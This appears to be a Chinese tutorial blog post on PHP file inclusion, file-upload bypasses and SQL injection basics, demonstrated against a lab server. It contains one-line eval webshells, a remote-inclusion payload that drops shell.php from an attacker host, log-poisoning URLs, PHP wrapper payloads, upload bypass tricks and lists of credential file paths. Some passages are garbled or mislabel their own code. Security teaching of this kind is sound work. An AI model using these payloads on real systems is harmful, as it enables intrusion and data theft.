利用漏洞注入

目录:

前言
一.寻找文件包含漏洞
二.文件包含和文件上传
三.手工验证SQL注入


                                                         前言

       在计算机安全领域,漏洞注入是一种常见的攻击技术,它利用软件漏洞或安全漏洞来攻击计算机系统。漏洞注入可以用窃取数据,获得系统权限,破坏系统等各种恶意行为。为了保护计算机系统的安全,渗透措施和漏洞注入已经成为一个必不可少的领域。

       本文将介绍漏洞注入的基本原理和方法,使用漏洞注入进行攻击的常见技术和工具,以及如何使用漏洞注入来防范攻击。此外,本文还提供了一系列实用的漏洞注入实例,以帮助读者更好的理解与应用这些技术。


                                              一.寻找文件包含漏洞

1. 文件包含漏洞介绍

1.1. 文件包含漏洞解释

文件包含漏洞就是使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

1.2. 文件包含漏洞原理

其实原理就是由于在代码开发的过程中,有时候会遇到相同的代码,不想重复输入,就将代码单独写在一个文件里面,当遇到的时候就直接调用该文件进行运行,而这种方式就会导致客户端可以调用其他的恶意文件,通过恶意文件造成文件包含漏洞。

但是前提也是当文件包含的代码文件被当作一个变量来使用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。

1.3. 文件包含的函数

1.3.1. 常见的文件包含函数

PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual

1.3.2. PHP函数区别:

文件包含漏洞在PHP中是比较多的,像JSP、ASP这方面的漏洞是比较少的,但这并不是说就不存在。

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

require_once:和 require 类似,不同处在于 require_once 只导入一次。

1.4. 文件包含漏洞特征

其实在文件包含在URL中能够明显的看出来,但是不代表含有这些特征就一定有文件包含漏洞。只不过有这些特征可以进行判断是存在文件包含的,但是能不能利用是另一方面。

比如:

http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2

1.5. 文件包含漏洞分类

1.5.1. 本地文件包含漏洞

本地文件包含,通过意思就能够理解,就是在条件允许的情况下,所谓的条件允许也就是安全防护没做到位,通过这个条件对文件路径加载文件,就形成了本地文件包含。

1.5.1.1. 本地文件包含漏洞案例

例如php代码:

<?php
$filename=$_GET[name];
include($filename);
?>

在我网站根目录下面有一个index.php,通过文件包含进行执行,就形成了本地文件包含,若这个name参数能够被用户控制,那么就形成了本地文件包含漏洞。

1.5.2. 远程文件包含漏洞

远程文件包含漏洞导致的原因和本地文件包含漏洞造成的原因是一样的,只不过远程文件包含漏洞是利用外部的服务器中的文件进行执行,就形成了远程文件包含漏洞。

但是前提是需要在php.ini中的配置选项中allow_url_fopen和allow_url_include为ON。

1.5.2.1. 远程文件包含漏洞案例

准备两台虚拟机,一台做网站服务器,另外一台做攻击者主机。

网站服务器:192.168.10.150

攻击者主机:192.168.10.50

网站服务器php代码:

<?php
$filename=$_GET[name];
include($filename);
?>
攻击者主机php代码:
<?php phpinfo();?>

攻击者访问服务器网站,并把主机上的本地文件进行远程文件包含。

1.6. 文件包含漏洞危害

读取WEB服务器上的配置文件以及WEB服务器上的敏感文件,并且若和webshell联动,并将恶意代码执行将造成更大的危害,通常来说远程文件包含漏洞危害更大。

1.7. 文件包含漏洞特点

1.7.1. 无视文件扩展名

在PHP中当使用上面的一些函数的时候,这个文件就会被当作PHP代码进行执行,PHP内核并不会在意包含的文件是什么类型的,也就是说当发过来的是.png的文件也会被当作PHP执行。

1.7.1.1. 无视文件扩展名案例

例如这里将原来含有<?php phpinfo();?>代码的php文件后缀名修改为jpg的时候,依旧执行了php代码。

1.7.2. 无条件解析PHP代码

文件包含漏洞在读取源码的时候,若遇到符合PHP语法规范的代码,将会无条件执行。

《黑客&网络安全入门&进阶学习资源包》分享​docs.qq.com/doc/DYXN2b2RHcmZ4dml0?&u=edc8af61b46b480caef8365bfe8ce023​编辑

2. 文件包含漏洞利用方式

2.1. 判断服务器类型

其实判断服务器类型还是很好判断的,当我们读取一个文件的时候在linux系统该然后读取?

在linux系统当存在1.php的时候读取就是cat 1.php,而且读取的内容假如是:"I Love You",若是读取1.Php那么还能够显示"I Love You"吗?结果肯定是不行的,由于在linux中是严格区分大小写的。而在windows中是不区分大小写的,这里就可以使用windows进行测试。

通过上面的图片能够看出来,我在URL中读取的是1.phP,但文件夹中只有2.php,但依旧显示PHP的默认文件。这就验证了我上面提到的Windows是不区分大小写的。

2.2. 敏感文件读取

所谓读取敏感文件,就是将WEB服务器上一些其他文件读取出来,这些其他文件中可能包含一些敏感文件,私密文件或者是一些数据、表格等。

2.2.1. 绝对路径读取

绝对路径是指目录下的绝对位置,直接到达目标位置,通常是从盘符开始的路径,绝对路径读取就是通过明确的路径进行读取文件,比如windows或者linxu中的一些日志文件存在的路径,或者一些配置文件存放的路径。

2.2.1.1. windows敏感文件绝对路径

c:\boot.ini                     #查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml     #IIS配置文件
c:\windows\repair\sam         #存储Windows的密码
c:\programFiles\mysql\my.ini     #mysql配置文件,里面可能有密码
c:\programFiles\mysql\data\mysql\user.MYD     #mysql root密码
c:\windows\php.ini             #php配置文件

2.2.1.2. linux敏感文件绝对路径

/etc/passwd                     #用户密码
/usr/local/app/apache2/conf/httpd.conf         #apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   #虚拟网站设置
/usr/local/app/php5/lib/php.ini       #php相关设置        
/etc/httpd/conf/httpd.conf           #apache配置文件        
/etc/my.cnf                       #mysql配置文件
/etc/sysconfig/iptables             #查看防火墙策略

2.2.1.3. 绝对路径读取案例

通过URL看到我这里是直接读取我C:\tool\PHPTutorial\1.txt的文件。

2.2.2. 相对路径读取

相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系。相对路径读取就是当我们不知道某个文件具体路径的时候,使用相对路径以当前位置作为参看向后退,逐次访问。

2.2.2.1. 相对路径读取方式

相对利用读取方式就需要使用"../"来进行读取,一次"../"向后退一次。

例如:当我们在C:\tool\PHPTutorial\www的时候,那么我们使用"../"的时候我们就退到C:\tool\PHPTutorial,若使用两次"../"的时候就会退到C:\tool,两次"../"也就是"../../"就可以了。

2.2.2.2. 相对路径读取案例1

这里我把1.txt创建在C:\tool\PHPTutorial目录下,而现在这个文件包含漏洞放在www下也就是C:\tool\PHPTutorial\www,所以这里我只需要输入一次"../"就可以读取到1.txt了。

2.2.2.3. 相对路径读取案例2

这里我们思考一下若我们要访问C:\windows\win.ini,该怎么读取呢?其实这里可以先退到根目录下也就是C盘下,然后在访问windows中的win.ini。

目前我们在C:\tool\PHPTutorial\www下面,那么可以算一下我们要退几次?这里通过目录也能够看出来,这里只需要退三次就可以到C盘下了。

这里由于无法在C盘中创建文件,就无法演示了,那么这里我们直接读取C:\windows\win.ini吧。

2.2.2.4. 相对路径读取案例3

这里又出现一个问题,若我们并不知道我们存在那个目录下,更不知道该退几级怎么办?其实这里通过"../"退可以多退几次,因为最终只能够退到C盘,所以在不知道几级的情况下,可以多输入几个"../"。

可以看我下面的图片,我原本只需要退三次就可以了,而我这里退八次依旧能读取到,所以就能证明刚刚我所解释的,不管输入多少个"../"最终只会退到C盘。

2.3. 远程文件读取

远程文件包含大概意思在之前已经提过了,这里就演示一下案例。

前提条件:目标服务器的allow_url_fopen选项是on。只有当这个选项是on的时候就能够使用远程文件包含一句话木马。

2.3.1. 远程文件配合一句话木马案例

网站服务器:192.168.10.150

攻击者主机:192.168.10.50

攻击者php代码:

<?php fputs(fopen("shell.php", "w"),"<?php @eval($_POST['pass']);?>")?>

这句话的意思就是当访问这个php代码后就会在当前目录生成一个shell.php文件,并且这个文件中含有一句话木马。

通过查看服务器网站根目录,可以看到这里已经创建了一个名为shell.php的文件。那么我们通过这个文件使用蚁剑进行连接。

通过上面的图片可以看到,我们已经成功连接了。这里需要注意的是,我们这个地址是知道的,若在实际环境中操作的时候可能需要注意查找路径。

2.4. 伪协议读取

2.4.1. PHP伪协议介绍

file://   #访问本地文件系统
http://   #访问HTTPs网址
ftp://     #访问ftp URL
php://     #访问输入输出流
zlib://     #压缩流
data://   #数据
ssh2://   #security shell2
expect:// #处理交互式的流
glob://   #查找匹配的文件路径

2.4.2. PHP伪协议利用方式

这里举几个例子进行演示一下,由于部分伪协议需要且版本并且需要调配置,这里就不来回切换了。

2.4.2.1. file利用方式

file其实和绝对路径读取差不多。

URL:http://192.168.10.150/1.php/?name=file://C:/Windows/win.ini

2.4.2.2. http利用方式

其实http这里的利用方式,除了能够跳转,还能进行远程包含进行漏洞执行。

URL:http://192.168.10.150/1.php/?name=http://www.baidu.com

2.4.2.3. data利用方式

从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。

这里需要注意若使用data的话需要allow_url_include 和allow_url_fopen为on。

URL:http://192.168.10.150/1.php/?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的\<?php phpinfo();?\>

2.4.2.4. php利用方式

1)php://filter

php://filter 可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启,读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了

用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php
解密:<?php phpinfo();?>

当然里不单单只能读取当前目录下的文件,这里就演示一下另外一种读取方式,我将文件放在上一级目录中,通过php进行读取。

URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=../2.php

仔细看URL连接就能看出来,这里使用了之前提到的相对路径读取。

  1. php://input

php://input主要是用来执行php代码的,不过php://input需要以POST提交,这里我们先在URL中添加php://input然后抓包把GET修改为POST,最后在数据包的最后输入想要执行的代码就可以实现代码执行。

URL:http://192.168.10.150/1.php/?name=php://input

2.5. 文件包含日志读取

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,利用包含漏洞执行。

2.5.1. 各类日志存在位置

2.5.1.1. Apache

apache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。

Windows系统:
apache安装目录/logs/access.log或者error.log
linux系统:
/var/log/apache/access.log或者error.log
/var/log/apache2/access.log或者error.log
/etc/httpd/logs/access_log或者error.log

2.5.1.2. Nginx

nginx存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。

Windows系统:
nginx安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/nginx/access.log或者error.log

2.5.1.3. IIS

iis6.0版本
C:\windows\system32\LogFiles
iis7.5版本
%SystemDrive%\inetpub\logs\LogFiles

2.5.2. 包含Apache日志案例

Apache运行后一般默认会生成两个日志文件,access.log(访问日志),error.log(错误日志)。

下图就是被转码的,只需要手动修改一下重新发送即可。

URL:http://192.168.10.150/<?php @eval($_POST[123]);?>

在apache/logs/access.log中就能够看到我们植入的恶意代码。编号①是没使用burp修改前的,编号②是使用burp修改后的。

通过对本地的日志文件进行包含读取,输入123=phpinfo();。

URL:http://192.168.10.150/1.php/?name=../Apache/logs/error.log

当然也可以使用蚁剑来进行连接。

URL:http://192.168.10.150/1.php/?name=../Apache/logs/error.log
连接密码:123

《黑客&网络安全入门&进阶学习资源包》分享​docs.qq.com/doc/DYXN2b2RHcmZ4dml0?&u=edc8af61b46b480caef8365bfe8ce023​编辑

3. 文件包含漏洞绕过方式

3.1. 本地文件包含绕过

3.1.1. 空字符绕过

空字符绕过是存在PHP小于5.3.4版本的一个漏洞,这个漏洞就是用于接收来自路径中的空字符,这样在部分需求下攻击者可以利用将此字符放置安全文件后面来绕过访问限制。

前提条件就是需要PHP版本小于5.3.4,并且关闭PHP魔术引导。

3.1.1.1. PHP魔术引导介绍

当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。不过该参数在php.ini文件中修改。

PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的

3.1.1.2. 前提准备

靶机版本切换至php-5.2.17+apache,并且把魔术引导关闭。

新建PHP代码:

<?php
$name=$_GET['name'];
include($name.".html");
?>

3.1.1.3. 空字符绕过案例

在正常访问的时候可以发现访问的文件后面被添加了.html。

若这里没有关闭魔术引导而直接通过空字符绕过就会变成2.php\0.html。但是这里关闭魔术引导后再使用空字符绕过就能够显示正常了。

URL:http://192.168.10.150/1.php/?name=2.php%00

3.1.2. 超长字符绕过

超长字符截断就是利用操作系统对目录最大长度的限制,在Windows中目录长度不可以超过256字节,linux中目录长度不可以超过4096字节。超过的部分会被丢弃。

可以使用"./"进行填充,当然不单单"./"可以填充,使用"."也可以,至于还有那些可以绕过,可以自己去试试。

3.1.2.1. 超长字符绕过案例

正常访问的我们就不去尝试了,直接使用超长字符绕过吧,这里在测试的时候发现,在使用"./"进行绕过的时候不能全部使用"./"需要参合点"/",不过测试后发现,只需要在读取的本地文件后面多添加几个"/"。

3.2. 远程文件包含绕过

3.2.1. 空字符绕过

这里的绕过和本地文件包含绕过一样。

3.2.2. 超长字符绕过

这里我测试后发现,远程文件包含好像只能使用"./",其它的像"."",""。"":"都不能绕过。

3.2.3. ?绕过

3.2.4. 常见特殊字符编码

3.2.5. #绕过

这里我使了一下直接使用#并不能绕过,需要输入编码%23才能够生效,在绕过的时候需要注意一下。

3.2.6. 空格绕过

这里也是一样需要使用编码%20进行绕过,不能直接输入空格。

《黑客&网络安全入门&进阶学习资源包》分享​docs.qq.com/doc/DYXN2b2RHcmZ4dml0?&u=edc8af61b46b480caef8365bfe8ce023​编辑

4. 文件包含漏洞防御

(1)设置白名单:若是在编写代码的时候能够确定文件包含的文件名的时候,那么最好使用白名           单进行参数传入。

2)过滤危险字符:由于Incbude/Require可以对PHP Wrapper形式的地址进行包含执行(需要配           置php.ini), 在Linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否           为合法的PHP文件。

(3)设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如           果设置目录的话,PHP仅仅在该目录内搜索文件。

(4)关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require           进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,               PHP默认是关闭的。


二.文件包含和文件上传

1、什么是文件上传

(1)定义

文件上传漏洞是指用户上传了一个可以执行的脚本文件,并且可以通过该文件获得服务器的权限的一种漏洞。

(2)原理

大部分网站都有上传的功能,比如说上传pdf,上传png、php、exe等文件,一些文件会被网站所过滤,但是大部分web的过滤不够严格,导致在上传的位置上,用户可以上传一些带有脚本的文件,web端对脚本文件进行php解析,可以任意执行脚本文件。

2、文件上传漏洞的危害

(1) 危害

上传文件是web脚本语言,一般来说都是php,也会有其他的js等,服务器都是有一个解析方式的,在没有做过滤的情况下,上传的脚本语言会被服务器的解析方式当作代码来执行,恶意代码的话,我们可以想象这个危害的严重性。(数据的增删改查都是最基本的)

(2)产生危害的原因

最直接的原因就是写网页的开发人员对脚本的过滤不严格所导致的。其他还有一些版本不适配的漏洞、文件解析漏洞等等。

二、文件上传漏洞分类

1、客户端校验

js检查: 随便上传一个文件看是否会有提示,只允许什么格式的文件进行上传。

2、黑名单绕过

(1)扩展名绕过

这个就很简单就是利用burp 抓包改包。

先对web上传一个含有木马的txt文本,通过抓包改成后缀名为jsp/php/asp后缀的文件,这就是客户端校验。

(2)后缀大小写绕过

后缀名会显示非法的时候,有时候可以尝试大小写进行绕过 例如:PhP、pHP等等

例如:

text.php
改为
text.Php
text.PhP.......

(3)双层后缀绕过

web代码中会将可能存在漏洞的脚本文件后缀名进行过滤,大部分情况下只能过滤一层,所以可以尝试双写后缀名进行绕过

例如:

text.php
改为
text.pphphp

(4)空格绕过

这个要了解ur编码,文件上传过程中,有时候会遇到一些情况,正常的php脚本不可以绕过,但是后面加上一个空格即可绕过,所以利用这个特性,可以进行上传。

例如:

1.php
改为
1.php (这里有一个空格,为了更直观的看到我在这里备注一下)

(5)点绕过

这个要了解ur编码,文件上传过程中,有时候会遇到一些情况,正常的php脚本不可以绕过,但是后面加上一个点(.)即可绕过,所以利用这个特性,可以进行上传。

例如:

1.php
改为
1.php.(这里有一个空格,为了更直观的看到我在这里备注一下)

(6)上传.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,

以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

方法:直接上传这个文件,看是否可以获得权限。

(7)::$DATA绕过

在window的时候如果文件名+"::D A T A " 会 把 : : DATA"会把::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名.

方法:抓包改包

例如:

1.php
改为
1.php::DATA

3.白名单绕过

(1)web解析绕过

1.IIS

这里服务器人员进常用的是宝塔IIS

下载连接: IIS.

(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析。 (2) 当上传文件.asp;*.jpg

IIS6.0会将文件当做asp文件解析。

2.Apache

如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.ddd,可以被当作php文件进行解析,从最后一个.ddd开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。

3.Nginx

上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。

这里其实我个人的理解还是要多了解中间件的特性,另外需要多看一些技术帖,多复现一些漏洞。

这里参考了大佬的博客。

链接: 地址.

(2)00截断绕过

0x00截断原理:

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。但要注意是文件的16进制内容里的00,而不是文件名中的00.就是说系统是按16进制读取文件(或者说二进制),遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。%00是被服务器解码为0x00发挥了截断作用。

(3)mime文件绕过

方法:抓包改包

客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类,

web客户端使用MIME来说明希望接收到的数据种类。

       

文件包含

文件包含漏洞

留言 连接数据库

查看留言 连接数据库

登录 连接数据库

注册 连接数据库

代码的重复

连接数据库 放在单独的文件

程序开发人员通常会把可重复使用的函数写到单个文件中,使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/http://ASP.net程序中比较少。本文以PHP 为例,说明文件包含漏洞

漏洞产生原因

1、Web 应用实现了动态包含

2、动态包含的文件路径参数,客户端可控

PHP中的文件包含

*语句

PHP 中提供了四个文件包含的函数,四个函数之间略有区别

函数区别
include()文件包含失败,会产生警告,脚本会继续执行
include_once()与include() 功能相同,文件只会被包含一次
require()文件包含失败是,会产生错误,直接结束脚本执行
require_once()与require() 功能相同 ,文件只会被包含一次

*相关配置

文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分(虽然PHP 官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTP,FTP,PHP 伪协议)就是可以远程加载文件。我们可以通过php.ini 配置文件来进行配置。

allow_url_fopen=On/Off

本地文件包含(LFI)

allow_url_include=On/Off

远程文件包含(RFI)

文件包含示例

我们可以通过以下简单代码来测试文件包含漏洞

-----------

<?php

$path=$GET_['path'];

include_once("./inc.php");

echo "<h1>This is inlcude_once.php!</h1>";

include_once $path;

?>

----------

*本地文件包含(LFI)

本地文件包含就是我们通过相对路径的方式找到文件,然后包含

url

[http://localhost/include/include_once.php?path=info.php]

*远程文件包含(RFI)

远程文件包含就是我们可以通过http(s)或者ftp 等方式,远程加载文件

url

[http://localhost/include/include_once.php?path=http://192.168.1.200/include/info.php]

[http://localhost/include/include_once.php?path=ftp://admin:123.com@192.168.1.2/info.php]

漏洞原理及特点

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能是,有类似以上测试代码的设计,实现动态包含,就会有文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的净化,客户端可以影响或控制文件包含的路径,就会产生文件包含漏洞。

*特点

PHP 提供的文件包含功能非常强大,有以下特点

@ 无视文件扩展名读取文件

包含文件时,PHP 会读取文件的源码,包括图片文件。尝试包含图片

[http://localhost/include/include_once.php?path=simle.jpg]

我们会发现打开图片不是图像而是图片的源码

@ 无条件解析PHP 代码

文件包含在读取文件源码的同时,如果遇到符合PHP 语法规范的代码,就会无条件执行。例如将info.php的后缀名改成info.rar,依然能够显示phpinfo() 的信息。

与此同时,也为图片木马提供了一种利用的方法

空字符安全绕过

空字符安全限制绕过,是PHP 小于5.3.4 版本的一个漏洞,CVE编号是CVE-2006-7243.这个漏洞就是PHP 接收来自于路径名中的空(NULL)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,这就是我们之前讲过的00 截断。00 截断攻击也会体现在文件包含中。

Web 应用在设计的时候,经常会包含模版文件,简单程序如下

-----------------

<?php

if(isset($_GET['path'])){

include $_GET['path'].".html";

}else{

echo "?path=[path]";

}

?>

----------------

这个简单的代码限制了被包含的文件的后缀名是html

[http://localhost/include/00/?path=info]

此处我们通过00 截断来包含任意文件,比如同级目录下的inc.php 文件。提交变量

[http:localhost/incldue/00/?path=info.php%00]

注意:要想本实验成功需要关闭魔术引号

magic_quotes_gpc=Off

文件包含漏洞的利用

*读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

@ 目标主机存在(目标文件的路径,绝对路径,相对路径)

@ 具有文件可读权限

提交参数,读取本地host 文件

[?path=c:\windows\System32\drivers\etc\hosts]

[?path=..\..\..\..\..\..\windows\System32\drivers\etc\hosts]

*直接包含图片木马

可以利用文件包含漏洞直接包含图片木马

[?path=pingYjh.png]

使用菜刀或蚁剑连接

*包含木马写shell

我们可以将如下代码写入图片中

<?php fputs(fopen('shell.php','w'),"<?php @eval($_REQUEST['cmd']);?>");?>

该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行了。

*PHP 封装协议--访问本地文件

我们可以使用php 的file 协议访问本地系统文件,提交参数

[?path=file://c:\windows\System32\drivers\etc\hosts]

*PHP 封装协议--传输PHP 文件

可以使用以下参数来传送任意PHP 文件

[?path=php://filter/read=convert.base64-encode/resource=./inc.php]

然后将获取到的字符串进行base64 解码即可

获取网站的源码

*PHP 封装协议--执行PHP 命令

我们还可以利用PHP 的封装协议来执行PHP 命令

注:后面两个必须要在开启远程文件上传配置的情况下

!已知一个网站存在本地文件包含漏洞,没有我呢间上传API,如何利用?

1、包含本地日志文件getshell

日志文件的路径

[?path=c:\phpstudy\apache\log\error.log]

用蚁剑连接

2、包含session 文件,造成sessionId 泄露

!metinfov5.0.4 文件包含漏洞代码审计


三.手工验证SQL注入

   

Sql注入
1.概念

(1)SQL注入是一种Web应用代码中的漏洞。

(2)黑客可以构造特殊数据库请求,使Web应用执行带有附加条件的SQL语句

  用户请求中使用了带有参数的值,但是没有进行任何过滤

  用户请求中使用了带有参数的值,没有进行任何转码

(3)通过特殊的请求,Web应用向数据库访问时会附带其它命令:

  任意查询命令

  创建数据库/表

  更新数据库/表内容

  更改用户权限

  删除数据/表/数据库

  执行系统命令

2.原理

(1)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

(2)应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。目前的数据库一般都是提供api以支持管理,应用使用底层开发语言如 Php,Java,asp,Python与这些api进行通讯。对于数据库的操作,目前普遍使用一种SQL语言(Structured Query Language语言,SQL语言的功能包括查询、操纵、定义和控制,是一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户 指出做什么而不需要指出怎么做),SQL作为字符串通过API传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的SQL是合法的还是不合法的,它完全信任传入的数据,如果传入的SQL语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值